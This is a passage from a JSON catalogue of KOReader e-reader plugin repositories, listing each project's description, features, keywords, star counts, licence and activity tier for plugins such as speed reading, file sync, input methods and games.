from 50 to 1000 WPM","Multi-Word Preview: Display multiple words simultaneously (1-10 words configurable)","Optimal View Point Alignment: Optionally anchor each word on a focus crosshair for faster fixation","Fixed-Width Display: Stable reading widget that doesn't \"jump\" between words","Position Tracking: Visual indicator shows reading progress when resuming","Seamless Page Transitions: Automatically continues to next page when reaching end","Enable the plugin in Settings → More Tools -> Plugins → FastReader","Enable Tap-to-Launch: Settings → FastReader → \"Tap on Text to Launch RSVP\""],"keywords":["koreader","koreader-plugin","lua","rapid-serial-visual-presentation","rsvp-reading","rsvp","rapid","serial","visual","presentation","enables","speed","reading","advanced","fastreader","widget","settings","menu","quick","start","manual","controls","during","main"],"topics":["koreader","koreader-plugin","lua","rapid-serial-visual-presentation","rsvp-reading"],"stars":37,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2026-05-29T11:30:37Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":4309,"detail":"detail/karpushchenko__koreader-rsvp-plugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Tukks/onyxbooxsync.koplugin","owner":"Tukks","repo":"onyxbooxsync.koplugin","url":"https://github.com/Tukks/onyxbooxsync.koplugin","description":"Allow to sync koreader and onyx book ","purpose":"Syncs KOReader reading progress and statistics into the Onyx Boox library so progress and reading time stay visible in the Onyx library and Onyx account.","categories":["sync","library","reading","notes"],"features":["Updates Onyx metadata with in-flow page/total pages","Marks the book as reading, unopened or finished and updates last access timestamp","Records reading time per page into Onyx reading statistics","Backfills full reading history from KOReader's statistics database on every page turn","Debounced syncing on page turns plus immediate sync on lifecycle events","KOReader on an Android-based Onyx device","The All files access (MANAGE_EXTERNAL_STORAGE) permission must be granted to the companion app once — required to read KOReader's…","Live tracking: each page turn is recorded with its duration and reading progress","Automatic backfill: any sessions recorded before the app was installed are synced incrementally, so your full reading history…","Duplicate prevention: sessions already present in Onyx (matched by timestamp) are never inserted twice"],"keywords":["allow","sync","onyx","book","progress","requirements","works","reading","statistics","companion","app","auto-updates","syncs","metadata","bulk","update","notes","adb","cheat-sheet","troubleshooting","process","plugin-only","apk","page"],"topics":[],"stars":37,"forks":4,"is_fork":false,"archived":false,"pushed_at":"2026-03-18T07:59:59Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":7461,"detail":"detail/Tukks__onyxbooxsync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"abrahamnm/filesync.koplugin","owner":"abrahamnm","repo":"filesync.koplugin","url":"https://github.com/abrahamnm/filesync.koplugin","description":"Wireless file manager plugin for KOReader","purpose":"A KOReader plugin that launches a local web server on your e-reader and displays a QR code on screen. Scan the code with your phone to open a polished web interface for managing books and files wirelessly — no cables, no apps, just your browser.","categories":["device","files"],"features":["QR Code Access — Scan to connect instantly, no typing URLs","File Browser — Navigate your library with breadcrumb navigation","Upload Files — Drag-and-drop or tap to upload books from your phone","Create Folders — Organize your library into directories","Rename & Delete — Limited file management with confirmation dialogs","Search & Sort — Filter by name, sort by name/size/date/type","Dark & Light Themes — Auto-detected or toggled manually","Multiple View Modes — List, grid, and large grid views","Multi-Language Support — Available in 10 languages (English, Spanish, Portuguese, Chinese, Arabic, French, German, Russian,…","RTL Layout Support — Full right-to-left layout for Arabic"],"keywords":["ereader","kindle","kobo","kobo-ereader","koreader","koreader-plugin","wireless","file","manager","filesync","works","prerequisites","option","archive","recommended","direct","copy","verifying","starting","server","connecting","phone","managing","files"],"topics":["ereader","kindle","kobo","kobo-ereader","koreader","koreader-plugin"],"stars":35,"forks":4,"is_fork":false,"archived":false,"pushed_at":"2026-06-22T04:05:41Z","license":"AGPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":10256,"detail":"detail/abrahamnm__filesync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Kaito0/panelreader.koplugin","owner":"Kaito0","repo":"panelreader.koplugin","url":"https://github.com/Kaito0/panelreader.koplugin","description":"Koreader panel-to-panel navigation plugin","purpose":"KOReader-native Guided View, adapted for: For the latest version use YOLO NVIDIA Driver: Version 530+ (for CUDA 12 support). CUDA Toolkit: 11.8 for older cards like the 1050 Ti","categories":["reading","content"],"features":["Open formats","Performance","Kumiko - opencv, cpu - fast, simple layouts","YOLO - min 1050 ti 4gb - CUDA*","MAGI - min 1050 ti 4gb - CUDA*","Zoom: Fit full page","Page Crop: none","Uses Kumiko to detect panel boundaries in pixels","Uses Pillow to get page dimensions and normalize coordinates to a 0.0–1.0 scale","Generates a matching .json file in panel_result folder"],"keywords":["panel-to-panel","navigation","panelreader","available","detection","algorithms","required","settings","setup","linux","kumiko","helper","windows","processing","manga","controls","json","data","structure","troubleshooting","panel","page","file","cuda"],"topics":[],"stars":35,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2026-08-09T15:35:55Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3563,"detail":"detail/Kaito0__panelreader.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"agaragou/illustrations.koplugin","owner":"agaragou","repo":"illustrations.koplugin","url":"https://github.com/agaragou/illustrations.koplugin","description":"A plugin for [KOReader](https://github.com/koreader/koreader) that allows you to browse, preview, and navigate through all illustrations contained in an EPUB book.","purpose":"A plugin for KOReader that allows you to browse, preview, and navigate through all illustrations contained in an EPUB book.","categories":["ui","files","reading"],"features":["Gallery Mode: Browse all extracted images in a 3x3 grid view","Illustrations Mode: View images one by one in full screen","Favorites System: Mark images as favorites and view them in a dedicated Favorites Gallery (available globally, even outside books)","Update Checker: Automatically checks for updates and notifies you of new versions","Spoiler Protection: By default, shows images only up to the current page. You can toggle \"Allow Spoilers\" in settings to see…","Navigation","Touch: Tap left/right to navigate, tap top-center to open controls","Keys: Supports physical page turn buttons and directional keys","Go to Page: Jump directly from an image to its location in the book","Gesture Support: Assign \"Show Gallery\", \"Show Illustrations\", or \"Show Favorites\" to any gesture"],"keywords":["https","github","com","allows","browse","preview","navigate","through","all","illustrations","contained","epub","book","menu","controls","single","view","gestures","storage","images","show","favorites","gallery","page"],"topics":[],"stars":34,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-04-25T01:00:44Z","license":"NOASSERTION","default_branch":"main","has_meta":true,"readme_bytes":3424,"detail":"detail/agaragou__illustrations.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"gytwo/quickui.koplugin","owner":"gytwo","repo":"quickui.koplugin","url":"https://github.com/gytwo/quickui.koplugin","description":"Quick Actions, Cover Visuals, Cloze Mode, Header & Footer — more efficient KOReader.","purpose":"QuickUI is a comprehensive KOReader enhancement plugin that integrates four core features to make your reading experience smoother and more efficient:","categories":["ui","files","reading"],"features":["shortcutstoolbar.koplugin","simpleui.koplugin","zen_ui.koplugin","kopatches repo","KOReader.patches","Supports any TTF/OTF font","Real-time preview","One-click reset all fonts","Place it in KOReader's patches folder (typically koreader/patches/)","Check network connection"],"keywords":["koplugin","koreader","koreader-plugin","quick","actions","cover","visuals","cloze","mode","header","footer","more","efficient","quickui","enhancement","overview","core","panel","bottom","bar","custom","icon","picker","font"],"topics":["koplugin","koreader","koreader-plugin"],"stars":34,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T01:48:49Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":19655,"detail":"detail/gytwo__quickui.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"kbarni/KinAMP","owner":"kbarni","repo":"KinAMP","url":"https://github.com/kbarni/KinAMP","description":"Music player for Kindle. It really whips the llama's ass!","purpose":"KinAMP3 - It really whips the llama's ass! Contents Features - Using the Native app - Using the Koreader plugin - Installation","categories":["web","device"],"features":[],"keywords":["internet-radio-player","kindle","media-player","music","koreader-plugin","player","really","whips","llama","ass","corner","general","kinamp","program","public","bottom-right","free","more","native","screen","software","warranty","while","without"],"topics":["internet-radio-player","kindle","media-player","music","koreader-plugin"],"stars":34,"forks":4,"is_fork":false,"archived":false,"pushed_at":"2026-08-14T10:10:58Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":5512,"detail":"detail/kbarni__KinAMP.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Merpyzf/pinyinime.koplugin","owner":"Merpyzf","repo":"pinyinime.koplugin","url":"https://github.com/Merpyzf/pinyinime.koplugin","description":"KOReader 中文拼音输入法，提供通用及专业领域词库、候选排序、下一词联想、全拼、简拼和多种双拼方案","purpose":"Pinyin IME 沿用 KOReader 的简体中文键盘、输入框与按键交互，在原有输入体验上增加候选栏、完整词库、整句输入、双拼、个性化学习和后续词联想。插件只在简体中文键盘生效，不会替换 KOReader 的其他键盘布局。","categories":["dict"],"features":["继续使用 KOReader 自带的简体中文键盘、输入框和按键反馈。","在简体中文键盘启用时接管拼音候选与提交；英文和其他语言键盘保持原样。","输入方案统一放在插件设置和长按空格的方案选择中，避免与键盘布局菜单重复。","插件停用或移除后，相关接管会被完整撤销，KOReader 恢复原有输入行为和菜单。","KOReader 仍负责插件启用、停用和加载；插件本身不另设启停开关。","使用只读 SQLite 数据库，运行时不会改写发布词库。","schema v5 为高频编码、整句上下文和词间转移准备了紧凑查询表。","词库首次需要时才初始化，并在多个输入框之间复用，减少不必要的启动成本。","查询结果有边界并使用小型缓存，控制内存占用和候选生成时间。","候选排序会综合词频、整句路径、输入上下文和可选的个人学习结果。"],"keywords":["pinyin","ime","pinyinime","data","wanxiang","sqlite","sqlite3","v2025","v2026","versions","schema"],"topics":[],"stars":34,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T02:39:12Z","license":"AGPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":12157,"detail":"detail/Merpyzf__pinyinime.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"uttam-salamander/koreader-life-tracker","owner":"uttam-salamander","repo":"koreader-life-tracker","url":"https://github.com/uttam-salamander/koreader-life-tracker","description":"A bullet journal-style life planner plugin for KOReader. Track quests, habits, mood, and reading stats on your e-reader (Kindle, Kobo, PocketBook).","purpose":"A bullet journal-style life planner plugin for KOReader. Track quests, habits, mood, and reading stats directly on your e-reader.","categories":["device","files","reading","notes"],"features":["Dashboard - Morning energy check-in, daily quote, streak tracking, today's quests at a glance","Quests - Daily, weekly, and monthly goals with streaks and progress tracking","Reminders - Time-based notifications with customizable schedules","Journal - Weekly mood graph, category performance spider chart, notes and reflections","Reading Stats - Integration with KOReader's reading history and statistics","Sleep Screen - Optional dashboard display when device wakes showing time, quests, and reading progress","Open the top menu (tap top of screen or swipe down)","Navigate to Tools (gear icon)","Look for Life Tracker in the menu","Open Tools > Life Tracker"],"keywords":["adhd","bullet-journal","e-ink","e-reader","habit-tracker","journaling","kindle","kobo","koreader","koreader-plugin","life-planner","lua","productivity","reading-tracker","todo","bullet","journal-style","life","planner","track","quests","habits","mood","reading"],"topics":["adhd","bullet-journal","e-ink","e-reader","habit-tracker","journaling","kindle","kobo","koreader","koreader-plugin","life-planner","lua","productivity","reading-tracker","todo"],"stars":34,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-01-25T17:32:28Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":6940,"detail":"detail/uttam-salamander__koreader-life-tracker.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"omer-faruq/memobook.koplugin","owner":"omer-faruq","repo":"memobook.koplugin","url":"https://github.com/omer-faruq/memobook.koplugin","description":"Your personal in-book memo and self-dictionary for KOReader","purpose":"Your personal in-book memo and self-dictionary. MemoBook lets you capture bite-sized notes tied to words or phrases while reading. Every memo is stored in a local SQLite database and scoped to the document you were reading, but you can also browse everything from a global view. Use it to build glossaries, track…","categories":["sync","ui","dict","files","notes"],"features":["Tap Memo to save the current lookup term or highlighted selection as a memo. If both are available you will be prompted to keep…","Hold Memo to open the Memo list dialog for the active document without closing your lookup flow","Tap Memo after selecting text in the reader. The highlight popup closes, the selection is cleared, and the Memo editor opens with…","Memo Book entry opens the memo list filtered to the current document. From here you can","Browse memo groups (one group per primary tag)","Tap a memo to reopen or edit its notes","Hold a memo to view details, open it directly, or delete the group","Use the sticky controls at the top to search tags/aliases, clear filters, export all memos for the book to JSON, or close the…","The same Memo Book entry opens a global view across every document. Each row shows the primary tag plus its document display…"],"keywords":["koreader","koreader-plugin","personal","in-book","memo","self-dictionary","memobook","purpose","access","points","controls","dictionary","popup","highlight","top","menu","while","document","open","main","outside","any","pop-up","working"],"topics":["koreader","koreader-plugin"],"stars":33,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-25T06:07:12Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":5922,"detail":"detail/omer-faruq__memobook.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"quanganhdo/plainui.koplugin","owner":"quanganhdo","repo":"plainui.koplugin","url":"https://github.com/quanganhdo/plainui.koplugin","description":"Minimal home screen for KOReader","purpose":"Plain UI is a minimal home screen for KOReader focused on quick access to your library. It adds a Books, Series, Authors, and Tags tab bar, compact device status controls, and a few cover-grid annotations.","categories":["ui"],"features":["Use Series, Authors, and Tags views with Mosaic and Detailed list display modes","Filter each tab by reading status and choose its sort order","Use multiple filters to find exactly what book to read next","Quick access from the home screen to dark mode, frontlight, and Wi-Fi","Long-press the frontlight icon to toggle the frontlight","Long-press the Wi-Fi icon to choose a network","Long-press the battery icon to view battery information"],"keywords":["minimal","home","screen","plain","accessibility","credits","battery","icon","badge","frontlight","long-press","plainui","access","authors","browsebymetadata","choose","coverbrowser","enabled","font","quick","read","reading","series","size"],"topics":[],"stars":33,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-06T22:53:08Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":2135,"detail":"detail/quanganhdo__plainui.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Bartvelp/zim-converter","owner":"Bartvelp","repo":"zim-converter","url":"https://github.com/Bartvelp/zim-converter","description":"convert ZIM files, as found in the Kiwix WikiPedia library, to a SQLite database that is read by the WikiReader plugin of KOReader","purpose":"This Python project converts ZIM files (Kiwix format) to optimized SQLite databases for the WikiReader plugin in KOReader.","categories":["library","files","reading"],"features":["✅ Wikipedia (all languages and variants)","✅ iFixit (repair guides with images)","✅ Wiktionary (dictionaries)","✅ Any ZIM file (universal namespace support)","--include-images: Include original images (significantly increases size)","--compress-images: EXTREME e-ink optimization - 16-level grayscale, dithered, max 600x400, <15KB per image (requires ImageMagick)","--debug: Enable detailed debug logging to file and console (for troubleshooting)"],"keywords":["koreader","koreader-plugin","python3","sqlite","zim","convert","files","found","kiwix","wikipedia","library","database","read","wikireader","zim-converter","just","give","converting","yourself","file","running","cli","docker","articles"],"topics":["koreader","koreader-plugin","python3","sqlite","zim"],"stars":32,"forks":4,"is_fork":false,"archived":false,"pushed_at":"2025-07-13T10:41:48Z","license":null,"default_branch":"master","has_meta":false,"readme_bytes":3905,"detail":"detail/Bartvelp__zim-converter.json","activity":"dormant","tier":"C","tier_reasons":["no_meta","dormant","documented"]},{"id":"ckilb/dictionarymode.koplugin","owner":"ckilb","repo":"dictionarymode.koplugin","url":"https://github.com/ckilb/dictionarymode.koplugin","description":"Enables dictionary mode (one tap dictionary lookups) in KOReader","purpose":"This plugin will add a new option _Dictionary Mode_ unter _Main Menu_ > _Settings_ > _Taps and gestures_.\\ When enabled, dictionary lookups will be triggered simply by tapping a word.","categories":["dict"],"features":[],"keywords":["enables","dictionary","mode","one","tap","lookups","enabled","folder","main","menu","page","turns"],"topics":[],"stars":32,"forks":3,"is_fork":false,"archived":false,"pushed_at":"2025-09-22T17:42:50Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":639,"detail":"detail/ckilb__dictionarymode.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"miumiupy98-art/weread.koplugin-fixed","owner":"miumiupy98-art","repo":"weread.koplugin-fixed","url":"https://github.com/miumiupy98-art/weread.koplugin-fixed","description":"WeRead KOReader 插件的非官方修改版 Fork，包含 bug 修复、划线/想法显示和评论版本下载相关功能调整。","purpose":"本项目是 `QiuYukang/weread.koplugin` 的公开增强版 Fork，用于在 KOReader 中浏览、下载和阅读微信读书书籍及公众号文章。 本分支保留上游项目的基础微信读书访问、内容解析和 KOReader 集成能力，并继续维护扫码登录、账号凭据管理、划线与想法弹窗、原书脚注处理、OTA 更新及安全发布等增强功能。","categories":["content"],"features":["插件内微信扫码登录：可直接在 KOReader 中显示二维码，并支持登录确认和四位验证码。","账号凭据持久化：登录成功后保存 Cookie、API Key 和账号信息；config.lua 仅作为高级或备用配置方式。","双版本整书下载：可分别生成干净 EPUB，或生成带微信读书划线和想法的 EPUB。","想法独立存储与弹窗显示：想法数据保存在本地 JSON 中，不写入 EPUB 正文分页；点击划线后由插件弹窗显示。","划线显示控制：阅读缓存书籍时可显示或隐藏已嵌入的划线标记。","原书脚注处理：将部分图片注脚和跨文件脚注转换为更适合 KOReader 的 EPUB3 内联脚注。","手动 OTA 更新：支持检查更新、下载更新包、SHA-256 校验、安装前备份和成功启动后的备份清理。","账号安全清理：清除账号时同步删除持久化凭据、设置备份和本地 config.lua 凭据文件，已下载书籍不会被删除。","安全发布包：完整包不包含用户 Cookie、API Key、Token、二维码状态、运行设置、缓存书籍或日志。","书架筛选与下载标记：支持按阅读状态、下载状态筛选，并在书架中标记已缓存书籍。"],"keywords":["koreader-weread-plugin-lua-ebook","weread","fork","bug","cookie","curl","config","lua","ota","epub","x-wr-ticket","articles","epub3","full-safe","github","html","range","sha-256","with-thoughts","api","key","json","token"],"topics":["koreader-weread-plugin-lua-ebook"],"stars":32,"forks":2,"is_fork":true,"archived":false,"pushed_at":"2026-07-18T17:49:10Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":14025,"detail":"detail/miumiupy98-art__weread.koplugin-fixed.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"norude/TTS.koplugin","owner":"norude","repo":"TTS.koplugin","url":"https://github.com/norude/TTS.koplugin","description":"A text-to-speech plugin for KOreader","purpose":"Adds text to speech capabilities using a separate server for both inference and playback. Uses piper or edge-tts as a backend","categories":["reading"],"features":["Select a server from the server/ directory that matches your server's platform. The server will perform inference as well as play…","Drop that directory onto your server device and read its README.md","Drop the entire TTS.koplugin directory (except for server/) into koreader/plugins on your reader device","Open koreader, open a book, click on \"Start TTS mode\" in the typesetting menu, click on the settings icon,","You're done!"],"keywords":["text-to-speech","tts","server","click","directory","device","drop","inference","open","select","matches","platform","perform","well","play","onto","read","entire","except","book","start","mode","typesetting","menu"],"topics":[],"stars":32,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-04-26T14:46:46Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":796,"detail":"detail/norude__TTS.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"d0nizam/kosyncthing_plus.koplugin","owner":"d0nizam","repo":"kosyncthing_plus.koplugin","url":"https://github.com/d0nizam/kosyncthing_plus.koplugin","description":"KOSyncthing+ embeds a fully managed Syncthing daemon inside KOReader, with a polished menu, automatic Wi‑Fi handling, conflict resolution, and a plugin API. Works on Kindle, Kobo, Android and others.","purpose":"Peer-to-peer file synchronisation integrated into KOReader. KOSyncthing+ is a KOReader plugin that embeds a fully managed Syncthing daemon right inside your e-reader. Books, annotations, and sidecar files stay in sync across all your devices, over your local network or the internet, without ever touching a third-party…","categories":["sync","ui","device","files"],"features":["Why KOSyncthing+?","Features","Supported devices","Android (remote mode)","Migrating from koreader-syncthing or syncthing.koplugin","First-time setup","Menu reference","Automation","Conflict resolution","Companion plugin API"],"keywords":["android","book-sync","e-ink","ebook-reader","kindle","kobo","koplugin","koreader","koreader-plugin","reading","syncthing","koreader-plugins","kosyncthing+","embeds","fully","managed","daemon","inside","polished","menu","automatic","handling","conflict","resolution"],"topics":["android","book-sync","e-ink","ebook-reader","kindle","kobo","koplugin","koreader","koreader-plugin","reading","syncthing","koreader-plugins"],"stars":31,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-07-31T12:14:25Z","license":"NOASSERTION","default_branch":"main","has_meta":true,"readme_bytes":76432,"detail":"detail/d0nizam__kosyncthing_plus.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"MJCopper/casualkochess.koplugin","owner":"MJCopper","repo":"casualkochess.koplugin","url":"https://github.com/MJCopper/casualkochess.koplugin","description":"Casual Chess & Board Games KOReader Plugin","purpose":"Casual Chess, Checkers, Reversi and Fox & Hounds plugin for KOReader, designed for Kobo and other ARM e-ink devices (Kindle, PocketBook, Cervantes, Remarkable). Chess has been derived from the work by Baptiste Fouques & Victor Fariña","categories":["files","games"],"features":["Play Human Vs Human, Human Vs Computer, Computer Vs Computer","Play chess against the Stockfish engine","Completely offline, no internet required","Pre-defined difficulty levels","Adjustable computer skill level (0–20)","Adjustable computer think time (1–10 seconds)","Adjustable computer search depth (1-ThinkTime)","Adjustable blunder chance (0%-60%), Creates the possibilty for Stockfish to makes mistakes, plays more like a casual human","Custom Goldfish AI for chess as a fall-back when Stockfish engine fails to load. - It's not very smart, but still playable","Switch between Chess, Checkers, Reversi and Fox & Hounds"],"keywords":["casual","chess","board","games","e-ink","devices","download","computer","human","kochess","stockfish","adjustable","casualkochess","engine","github","https","hounds","kobo","play","reversi","time","baptiste","based","binary"],"topics":[],"stars":31,"forks":4,"is_fork":true,"archived":false,"pushed_at":"2026-05-25T20:28:58Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3006,"detail":"detail/MJCopper__casualkochess.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"omer-faruq/applauncher.koplugin","owner":"omer-faruq","repo":"applauncher.koplugin","url":"https://github.com/omer-faruq/applauncher.koplugin","description":"Quick launcher to organize installed KOReader plugins into categories and open them via a gesture.","purpose":"App Launcher is a lightweight launcher plugin for KOReader. It collects the menu entries exposed by installed plugins and lets you organize them into icon-based top tabs for quick access.","categories":["ui"],"features":["Icon-based top menu tabs (TouchMenu)","Organize plugin actions into categories (tabs)","Favorites, Tools, Games, etc. (fully configurable)","Long-press on an action to assign it to a category","Long-press on a category (via Settings) to rename, change icon, or delete","Cache of discovered actions with a manual refresh","Works in both File Manager and Reader contexts","Open from KOReader menu","Menu → Tools → App Launcher (location may vary slightly by device / build)","Open via gesture"],"keywords":["koreader-plugin","quick","launcher","organize","installed","categories","open","them","via","gesture","app","assign","actions","category","manage","top","menu","tabs","icons","adding","custom","discovered","settings","data"],"topics":["koreader-plugin"],"stars":30,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2025-12-22T16:02:53Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2460,"detail":"detail/omer-faruq__applauncher.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"ProfBlack/ao3updater.koplugin","owner":"ProfBlack","repo":"ao3updater.koplugin","url":"https://github.com/ProfBlack/ao3updater.koplugin","description":"Updates Archive of Our Own EPUBs automatically.","purpose":"What This Plugin Does What We'd Like It To Do Disclosure that this code was produced by an LLM. Feel free to build upon, improve or repurpose this for whatever you want.","categories":["content"],"features":["Checks an entire folder for the link provided in the epub(s) to see if the file's date, word count and chapters are different to…","Allow the choosing of specific files to check for updates when run","Allow the entry of a work ID number to download a file from the site directly","Some type of user authentication to update archive locked stories as necessary"],"keywords":["updates","archive","our","own","epubs","automatically","ao3updater","allow","file","site","checks","entire","folder","link","provided","epub","see","date","word","count","chapters","different","choosing","specific"],"topics":[],"stars":30,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-04-28T02:20:23Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":617,"detail":"detail/ProfBlack__ao3updater.koplugin.json","activity":"dormant","tier":"B","tier_reasons":["has_meta","settled","documented"]},{"id":"sadke8465/Koreader-Custom-Bookmark-Manager","owner":"sadke8465","repo":"Koreader-Custom-Bookmark-Manager","url":"https://github.com/sadke8465/Koreader-Custom-Bookmark-Manager","description":"","purpose":"Change the bookmark icon / dogear (the folded-corner bookmark) in KOReader without touching a config file. Swap the image, scale it up or down, and nudge its position — all from a menu while reading.","categories":["sync","files"],"features":["KOReader v2025.10+","Connect your Kindle via USB","Drop the dogearmanager.koplugin folder into your KOReader plugins directory","Connect your Kobo via USB","Design picker — arrow buttons to cycle through available icons","Size — scale from 0.5× to 4.0×, adjusted in 0.1 steps (or 0.5 with the double buttons)","Position — top and right margin in discrete steps (0–20). Each step moves the dogear by the same distance in both directions"],"keywords":["koreader-plugin","custom","bookmark","dogear","manager","requirements","kindle","kobo","change","design","adjust","size","margins","reset","original","adding","designs","settings","file","structure","testing","icon","margin","files"],"topics":["koreader-plugin"],"stars":29,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-03T18:46:53Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3642,"detail":"detail/sadke8465__Koreader-Custom-Bookmark-Manager.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"titandrive/koboard","owner":"titandrive","repo":"koboard","url":"https://github.com/titandrive/koboard","description":"koboard.koplugin - Use your android keyboard of choice with KoReader!","purpose":"A KOReader plugin for Android that replaces KOReader's built-in virtual keyboard with the system IME (your default Android keyboard).","categories":["ui"],"features":["Replaces KOReader's built-in keyboard with your Android system keyboard","Predictive text suggestions through the Android IME","Autocorrection support","Improved compatibility with Microsoft SwiftKey","Basic composing-text support used by modern Android keyboards","Full text input including backspace","Minimal KOBoard UI under Tools → KOBoard with an enable/disable toggle","Update checker with optional background notifications","Dispatcher actions for automation","Enable the plugin from the KOBoard UI under Tools → KOBoard"],"keywords":["koplugin","koreader","koreader-plugin","koreader-plugins","koboard","android","keyboard","choice","limitations","menu","updates","works","building","source","enable","text","tools","built-in","input","under","update","across","actions","apps"],"topics":["koplugin","koreader","koreader-plugin","koreader-plugins"],"stars":29,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T22:38:26Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2958,"detail":"detail/titandrive__koboard.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"william-spongberg/KindleFetch.koplugin","owner":"william-spongberg","repo":"KindleFetch.koplugin","url":"https://github.com/william-spongberg/KindleFetch.koplugin","description":"Download books from Anna's Archive directly to your Kindle, entirely within the KOReader app.","purpose":"Download books from Anna's Archive directly to your Kindle, entirely within the KOReader app. KindleFetch integrates Anna's Archive and Library Genesis into KOReader, allowing you to search for and download books without leaving your e-reader. The plugin handles the entire workflow - from search queries to file…","categories":["device","files"],"features":["Book Search + Downloads: Query Anna's Archive from your device with simple text input and download with a tap from Library Genesis","Caching: Minimise network requests and improve performance","Search results (2 week expiry, 1000 entries max)","Mirror URLs (1 week expiry)","Book covers (500 entries max)","Preferences: Filter results by preferred languages, file types, and book types","Book Cover Previews: Display cover images in search results and download previews","Background Downloads: Downloads run in the background using curl, with non-blocking UI updates","Automatic Curl Updates: Ensures a compatible curl version (8.17.0+) is available","Automatic Plugin Updates: Checks for new plugin releases and prompts to update with release notes"],"keywords":["kindle","koreader","koreader-plugin","download","books","anna","archive","directly","entirely","within","app","kindlefetch","overview","downloading","search","fetch","settings","works","architecture","workflow","environment","variables","attribution","disclaimer"],"topics":["kindle","koreader","koreader-plugin"],"stars":29,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-07-28T07:33:33Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":12864,"detail":"detail/william-spongberg__KindleFetch.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"fairlygood/provider-webdav-highlights.koplugin","owner":"fairlygood","repo":"provider-webdav-highlights.koplugin","url":"https://github.com/fairlygood/provider-webdav-highlights.koplugin","description":"Export KOReader highlights to a WebDAV target","purpose":"This script expands the existing exporter options to allow export of your highlights in markdown format to a WebDAV target.","categories":["sync","files","notes"],"features":["In the settings menu, click Export Highlights -> Choose formats and services -> WebDAV (Markdown) -> Configure WebDAV and enter…","Enable the exporter"],"keywords":["koreader","koreader-plugin","lua","webdav","export","highlights","target","exporter","instructions","markdown","recent","settings","menu","click","choose","formats","services","configure","enter","enable"],"topics":["koreader","koreader-plugin","lua","webdav"],"stars":28,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2025-05-06T20:07:39Z","license":"MIT","default_branch":"drafts","has_meta":true,"readme_bytes":735,"detail":"detail/fairlygood__provider-webdav-highlights.koplugin.json","activity":"dormant","tier":"B","tier_reasons":["has_meta","settled","documented"]},{"id":"omer-faruq/ankiviewer.koplugin","owner":"omer-faruq","repo":"ankiviewer.koplugin","url":"https://github.com/omer-faruq/ankiviewer.koplugin","description":"Study Anki flashcards in KOReader using locally imported .apkg decks","purpose":"This plugin lets you study Anki-style flashcards directly in KOReader. Cards are imported from standard Anki `.apkg` export files into a local database on your device. After import, you can review cards offline using a simple study screen.","categories":["dict","files","notes"],"features":["On e‑readers / most portable builds","When KO_HOME is set (desktop / special setups)","Open the plugin","In KOReader's main menu, open Tools > Anki Viewer (or the equivalent entry for this plugin)","Import a deck","From the study screen, tap Import","The plugin will list all .apkg files found in ankiviewer/shared","Choose a file to import. The cards will be converted into a local KOReader deck","Configure field mapping (optional but recommended)","Different Anki decks use different fields (front, back, examples, hints, 